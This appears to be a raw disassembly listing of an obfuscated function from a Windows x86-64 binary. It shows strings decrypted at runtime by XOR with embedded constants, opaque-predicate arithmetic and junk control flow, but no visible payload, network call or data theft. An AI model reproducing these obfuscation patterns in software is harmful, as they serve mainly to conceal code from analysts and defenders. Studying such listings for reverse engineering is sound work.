call fcn.140018800
mov eax, dword [rax]
mov ecx, 0x21875979
xor eax, ecx
mov dword [rsp + 0xd0], eax
mov r8d, 4
mov rcx, r12
lea rdx, [rsp + 0xd0]
call fcn.14001d400
test rax, rax
je 0x1400237c4
cmp byte [rax + 0x18], 2
jne 0x1400237c4
mov r13, qword [rax + 0x28]
mov r14, qword [rax + 0x30]
lea rax, [0x141da7965]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
movabs rax, 0x94924f537a3d8427
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
call fcn.14001a8c0
mov ecx, dword [rax]
movzx r8d, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x4a
xor dl, 0x79
xor r8b, 0x3d
movzx r8d, r8b
mov byte [rsp + 0x76], r8b
shl r8, 0x30
movzx edx, dl
shl rdx, 0x28
or rdx, r8
movzx eax, al
shl rax, 0x20
or rax, rdx
xor ecx, 0xe9b42e33
mov dword [rsp + 0x70], ecx
shr rax, 0x20
mov word [rsp + 0x74], ax
mov edx, 7
mov rcx, r15
mov r8, r13
mov r9, r14
call fcn.140011f10
test al, al
jne 0x1400239e5
movabs rsi, 0x73a3b2f08ec37f4
mov rbp, r15
lea r15, [0x141db147d]
nop dword [rax + rax]
mov edi, dword [0x141dc3310]
and edi, dword [0x141dc3314]
xor edi, 0x5cd88890
mov eax, 0x8db7360b
imul rdi, rax
shr rdi, 0x3f
or edi, 0xf5a10644
mov qword [rsp + 0x70], r15
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
mov rdx, qword [rsp + 0x70]
call fcn.1400194c0
mov ecx, dword [rax]
cmp edi, 0x48f08e1f
jae 0x140023330
mov qword [rsp + 0x70], r15
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
mov rdx, qword [rsp + 0x70]
call fcn.1400194c0
mov eax, dword [rax]
jmp 0x1400232c0
xor ecx, 0xe1dd4450
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x9b
shr eax, 8
xor al, 0x7f
movzx edi, al
shl rdi, 0x28
movzx esi, dl
shl rsi, 0x20
mov eax, dword [0x141dc3318]
xor edx, edx
div dword [0x141dc331c]
imul eax, eax, 0x4178f12a
add eax, 0xf12f3788
or eax, 0x4312810
mov ebp, ecx
cmp eax, 0xb9d056cc
jbe 0x1400233a7
mov rax, rdi
or rax, rsi
mov rcx, rbp
or rcx, rax
shr rax, 0x20
mov word [rsp + 0x44], ax
mov dword [rsp + 0x40], ecx
mov edx, 6
lea rcx, [rsp + 0x40]
mov r8, r13
mov r9, r14
call fcn.140011f10
or rdi, rsi
or rbp, rdi
shr rdi, 0x20
mov word [rsp + 0x44], di
mov dword [rsp + 0x40], ebp
mov edx, 6
lea rcx, [rsp + 0x40]
mov r8, r13
mov r9, r14
call fcn.140011f10
test al, al
lea r15, [rsp + 0x70]
mov rbp, qword [rsp + 0x128]
jne 0x1400239e5
lea rax, [0x141da77b1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
movabs rdx, 0x53a93ffbd361cdbd
mov qword [rsp + 0x40], rdx
mov rdx, qword [rsp + 0x40]
call fcn.140018730
mov rcx, qword [rax]
movabs rdx, 0xb5af78fbc29bd7ac
xor rcx, rdx
movzx edi, word [rax + 8]
mov eax, edi
xor al, 0xc3
shr edi, 8
xor dil, 0x81
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x78], al
nop dword [rax + rax]
mov ebp, dword [0x141dc3320]
sub ebp, dword [0x141dc3324]
or ebp, 0x2310400
and ebp, 0x6334eb6
add ebp, 0xe505a7bb
mov byte [rsp + 0x79], dil
mov edx, 0xa
mov rcx, r15
mov r8, r13
mov r9, r14
call fcn.140011f10
cmp ebp, 0x23db75a5
jae 0x1400234a0
mov byte [rsp + 0x79], dil
mov edx, 0xa
mov rcx, r15
mov r8, r13
mov r9, r14
call fcn.140011f10
jmp 0x140023440
test al, al
mov rbp, qword [rsp + 0x128]
jne 0x1400239e5
mov eax, dword [0x141dc3328]
or eax, dword [0x141dc332c]
imul rcx, rax, 0x2b5409f9
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
or eax, 0x5546e640
cmp eax, 0x12c41366
lea rcx, [0x141da8821]
jae 0x1400234e8
mov qword [rsp + 0x70], rcx
movabs rdx, 0x2d716f3c95f538ef
nop word cs:[rax + rax]
mov eax, dword [0x141dc3330]
xor eax, dword [0x141dc3334]
imul eax, eax, 0x36d34ef3
add eax, 0x3ce2c8ee
xor eax, 0x2adeae9f
mov qword [rsp + 0x70], rcx
cmp eax, 0x60d7b527
jb 0x140023500
mov eax, dword [0x141dc3338]
and eax, dword [0x141dc333c]
or eax, 0xb3fe7ffa
imul eax, eax, 0x860fe70
cmp eax, 0x107772b8
jb 0x140023599
nop word cs:[rax + rax]
mov eax, dword [0x141dc3340]
or eax, dword [0x141dc3344]
imul rax, rax, 0x41608813
shr rax, 0x3a
imul edi, eax, 0xe8ee52ee
add edi, 0x7a8e6448
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x70], rdx
mov rdx, qword [rsp + 0x70]
call fcn.14001ace0
movabs rdx, 0x2d716f3c95f538ef
cmp edi, 0x7d3bafc4
jbe 0x1400235a0
mov qword [rsp + 0x70], rdx
jmp 0x140023550
lea r13, [rsp + 0x40]
mov r14, qword [rsp + 0x68]
nop
mov eax, dword [0x141dc32f8]
mov ecx, dword [0x141dc32fc]
add eax, ecx
add eax, 0x841ac343
imul rdi, rax, 0x42d49dfd
shr rdi, 0x37
xor edi, 0x24d88b8
mov rcx, r12
call fcn.14000d8d0
cmp edi, 0xf39c8dad
jbe 0x140023810
mov rcx, r12
call fcn.14000d8d0
jmp 0x1400237d0
mov rcx, qword [rsp + 0x138]
nop dword [rax + rax]
mov eax, dword [0x141dc3300]
xor edx, edx
div dword [0x141dc3304]
cmp eax, 0x87c0ad52
je 0x140023820
lea r9, [rsp + 0x148]
nop dword [rax]
mov eax, dword [0x141dc3308]
or eax, dword [0x141dc330c]
imul eax, eax, 0x7174e1bb
xor eax, 0xf0d6eacd
cmp eax, 0x99f7661c
ja 0x140023840
mov rdx, qword [rsp + 0x210]
add rdx, 0xffffffffffffffd0
add r14, 0x30
mov rax, rcx
cmp rcx, rbp
jne 0x140023100
jmp 0x1400238d1
mov eax, dword [0x141dc32e8]
xor edx, edx
div dword [0x141dc32ec]
xor eax, 0x89924c8
add eax, 0x7aae23d
and eax, 0xd9316867
cmp eax, 0x23006d63
ja 0x140023880
sub rbp, rdi
je 0x1400238d1
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mul rcx
mov rbx, rdx
shr rbx, 5
mov rcx, rdi
call fcn.14000d8d0
add rdi, 0x30
dec rbx
jne 0x1400238c0
xor esi, esi
mov ecx, 0
cmp qword [rsp + 0x270], 0
mov rbx, qword [rsp + 0x258]
mov edi, dword [rsp + 0xf8]
mov r14, qword [rsp + 0x218]
mov r12, qword [rsp + 0x260]
je 0x14002391b
mov rcx, qword [0x141ddb9a0]
xor edx, edx
mov r8, qword [rsp + 0x288]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, esi
movzx eax, byte [rsp + 0x37]
or al, dil
or al, byte [rsp + 0x38]
mov rax, qword [rsp + 0x220]
jne 0x140023a6e
cmp r14, rax
jne 0x140023a6e
cmp r12, 2
jb 0x140023a6e
mov rax, qword [rsp + 0x278]
cmp qword [rsp + 0x248], rax
jb 0x140023a6e
mov eax, 0x9a7ecbe7
cmp qword [rsp + 0x228], rax
ja 0x140023a6e
test cl, cl
jne 0x140023a6e
mov rcx, qword [rsp + 0x230]
mov rax, qword [rcx]
call qword [rax + 0x10]
nop word [rax + rax]
mov eax, dword [0x141dc3378]
add eax, dword [0x141dc337c]
imul eax, eax, 0xdc267b1e
cmp eax, 0xcce3f2b8
je 0x140023990
cmp qword [rsp + 0x280], 0
je 0x140024179
mov rsi, qword [0x141ddb9a0]
mov eax, dword [0x141dc3380]
add eax, dword [0x141dc3384]
or eax, 0x93881533
add eax, 0x8a2bbbcc
cmp eax, 0x38a8a06a
jb 0x140024169
jmp 0x140024135
lea rcx, [rsp + 0x140]
call fcn.14000d8d0
cmp rbp, qword [rsp + 0x138]
mov rdi, qword [rsp + 0x68]
je 0x140023a31
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, qword [rsp + 0x210]
mul rcx
mov rsi, rdx
shr rsi, 5
nop dword [rax]
mov rcx, rdi
call fcn.14000d8d0
add rdi, 0x30
dec rsi
jne 0x140023a20
mov sil, 1
mov cl, 1
cmp qword [rsp + 0x270], 0
mov rbx, qword [rsp + 0x258]
lea r13, [rsp + 0x40]
mov edi, dword [rsp + 0xf8]
mov r14, qword [rsp + 0x218]
mov r12, qword [rsp + 0x260]
jne 0x140023902
jmp 0x14002391b
mov dword [rsp + 0x138], ecx
lea rax, [0x141db48f5]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x100]
movabs rax, 0x158442ca7c9fe75
mov qword [rsp + 0x100], rax
mov rdx, qword [rsp + 0x100]
call fcn.140018f20
movabs rcx, 0x99561957e81fa1a2
xor rcx, qword [rax]
mov edx, 0x15e65949
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xee
shr eax, 8
xor al, 0xd3
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
mov byte [rsp + 0xdc], r8b
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0xe
mov qword [rsp + 0x40], r15
lea rax, [0x14008b440]
mov qword [rsp + 0x48], rax
lea rax, [0x140102eb0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x150], r13
mov eax, dword [0x141dc3370]
sub eax, dword [0x141dc3374]
mov qword [rsp + 0x158], 1
and eax, 0xe553f8f1
add eax, 0xcad6e5b8
cmp eax, 0xd490bf8e
jae 0x140023ba9
lea rcx, [rsp + 0x140]
call fcn.14009ee10
lea rcx, [rsp + 0x140]
call fcn.14009ee10
cmp byte [rsp + 0x37], 0
jne 0x140023bbd
cmp byte [rsp + 0xf8], 0
jne 0x140023ccc
jmp 0x140023e20
lea rcx, [rsp + 0x140]
call fcn.14009ee10
cmp byte [rsp + 0x37], 0
je 0x140023b96
lea rax, [0x141dad87c]
mov qword [rsp + 0x140], rax
lea rdx, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
movabs rax, 0xaa5cede4eac69886
mov qword [rsp + 0x140], rax
mov rdx, qword [rsp + 0x140]
call fcn.14001b520
movabs rcx, 0x280ef37b3eb2a513
xor rcx, qword [rax]
movabs rdx, 0x694390f73a5ce12b
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x79
shr eax, 8
xor al, 0xd6
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov byte [rsp + 0x80], r8b
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x12
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14008b440]
mov qword [rsp + 0xd8], rax
lea rax, [0x140102eb0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rcx, [rsp + 0x140]
call fcn.14009ee10
cmp byte [rsp + 0xf8], 0
je 0x140023e20
lea rax, [0x141dabe7d]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x100]
movabs rax, 0x45d5e0844ca84515
mov qword [rsp + 0x100], rax
mov rdx, qword [rsp + 0x100]
call fcn.140018a80
movabs rcx, 0x7e6557afedf42a14
xor rcx, qword [rax]
mov edx, 0x468b6107
xor edx, dword [rax + 8]
mov qword [rsp + 0xd0], rcx
mov dword [rsp + 0xd8], edx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 0xc
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [0x14008b440]
mov qword [rsp + 0x48], rax
lea rax, [0x140102eb0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov eax, dword [0x141dc3398]
sub eax, dword [0x141dc339c]
add eax, 0xa0be9b11
cmp eax, 0x1150478c
jae 0x140023dbf
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rcx, [rsp + 0x140]
call fcn.14009ee10
lea rbx, [rsp + 0x140]
lea rdi, [rsp + 0x40]
nop dword [rax]
mov eax, dword [0x141dc33a0]
imul eax, dword [0x141dc33a4]
imul esi, eax, 0xe197259a
add esi, 0x2c77cf4e
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], 1
mov rcx, rbx
call fcn.14009ee10
cmp esi, 0xadb81ed0
jae 0x140023dd0
nop dword [rax]
mov eax, dword [0x141dc3390]
xor edx, edx
div dword [0x141dc3394]
or eax, 0xd2020220
and eax, 0xd7460621
add eax, 0x6e86f7c6
cmp eax, 0x44d617c4
ja 0x140023e20
cmp byte [rsp + 0x38], 0
je 0x140023fac
movabs rsi, 0x16224bfe39db3edf
mov eax, dword [0x141dc33a8]
xor edx, edx
div dword [0x141dc33ac]
add eax, 0xf4b6e068
and eax, 0x4d0741d5
imul eax, eax, 0x9e59463d
cmp eax, 0x68a64f6d
jae 0x140023eb5
lea rax, [0x141da5b30]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rsi
mov rdx, qword [rsp + 0x140]
call fcn.140019ca0
mov rax, qword [rax]
lea rax, [0x141da5b30]
mov qword [rsp + 0x140], rax
lea rax, [rsp + 0x140]
mov rcx, qword [rsp + 0x140]
mov qword [rsp + 0x140], rsi
mov rdx, qword [rsp + 0x140]
call fcn.140019ca0
movabs rcx, 0x5cba4b555f1839e7
xor rcx, qword [rax]
movabs rdx, 0x94e2ffdaafccd61d
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x96
shr eax, 8
xor al, 0x90
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rdx
mov byte [rsp + 0x80], r8b
mov byte [rsp + 0x81], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x12
lea rax, [rsp + 0x40]
mov qword [rsp + 0xd0], rax
lea rax, [0x14008b440]
mov qword [rsp + 0xd8], rax
lea rax, [0x140102eb0]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rcx, [rsp + 0x140]
call fcn.14009ee10
mov rax, qword [rsp + 0x218]
cmp rax, qword [rsp + 0x220]
lea rdi, [rsp + 0x40]
lea r13, [0x14008b440]
lea rsi, [0x140102eb0]
lea r15, [rsp + 0x70]
je 0x140024392
movabs rbx, 0x78a7b1fd10df7ef5
mov eax, dword [0x141dc33b0]
xor edx, edx
div dword [0x141dc33b4]
or eax, 0xda931503
imul eax, eax, 0x12d5435b
add eax, 0x9fc812d6
cmp eax, 0xb1bae899
jbe 0x140024047
lea rax, [0x141da9ec6]
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0x100]
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x100], rbx
mov rdx, qword [rsp + 0x100]
call fcn.140019750
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov eax, dword [rax + 0x10]
lea rdi, [0x141da9ec6]
movabs r14, 0x7a8a364f509b92ce
movabs rbp, 0x7d610ec9b43ac5ae
lea r12, [rsp + 0x100]
mov esi, dword [0x141dc33b8]
imul esi, dword [0x141dc33bc]
or esi, 0x310a242
xor esi, 0xa0000
and esi, 0x933ee342
mov qword [rsp + 0x100], rdi
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x100], rbx
mov rdx, qword [rsp + 0x100]
call fcn.140019750
mov rcx, qword [rax]
xor rcx, r14
mov r8, qword [rax + 8]
xor r8, rbp
mov r9d, dword [rax + 0x10]
cmp esi, 0x1304290c
jb 0x14002406a
mov eax, dword [0x141dc3360]
imul eax, dword [0x141dc3364]
add eax, 0xe0b1c3ae
cmp eax, 0xfe1e3f9
jae 0x140024110
ud2
mov eax, dword [0x141dc3368]
add eax, dword [0x141dc336c]
imul eax, eax, 0xf6687c3
add eax, 0xb17985a9
ud2
mov eax, dword [0x141dc3388]
xor eax, dword [0x141dc338c]
imul edi, eax, 0x7a4bee9c
or edi, 0x160ef746
add edi, 0xf800e78b
mov rcx, rsi
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp edi, 0x2daaa06f
jae 0x140024179
mov rcx, rsi
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140024135
lea rcx, [rsp + 0x290]
call fcn.14000f8f0
movaps xmm6, xmmword [rsp + 0x360]
movaps xmm7, xmmword [rsp + 0x370]
movaps xmm8, xmmword [rsp + 0x380]
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp qword [rsp + 0x260], 2
jae 0x1400245a5
lea rax, [0x141da5b4c]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x100]
movabs rax, 0x42f31c08d23ab475
mov qword [rsp + 0x100], rax
mov rdx, qword [rsp + 0x100]
call fcn.14001ae70
movabs rcx, 0x4659c47d753c0512
xor rcx, qword [rax]
mov qword [rsp + 0x38], rcx
movabs rbx, 0x67d8f0e5a41d39d6
xor rbx, qword [rax + 8]
movzx ecx, byte [rax + 0x12]
mov dword [rsp + 0x68], ecx
movzx r12d, word [rax + 0x10]
mov ebp, r12d
shr ebp, 8
xor r12b, 0xe7
xor bpl, 0xec
mov eax, dword [0x141dc33d8]
or eax, dword [0x141dc33dc]
or eax, 0x38ce568d
mov ecx, 0xd99d4207
imul rcx, rax
shr rcx, 0x3e
or ecx, 0xf62d3380
cmp ecx, 0x6c83af41
jb 0x14002450d
mov rax, qword [rsp + 0x278]
cmp qword [rsp + 0x248], rax
lea rbx, [rsp + 0xd0]
jae 0x140024727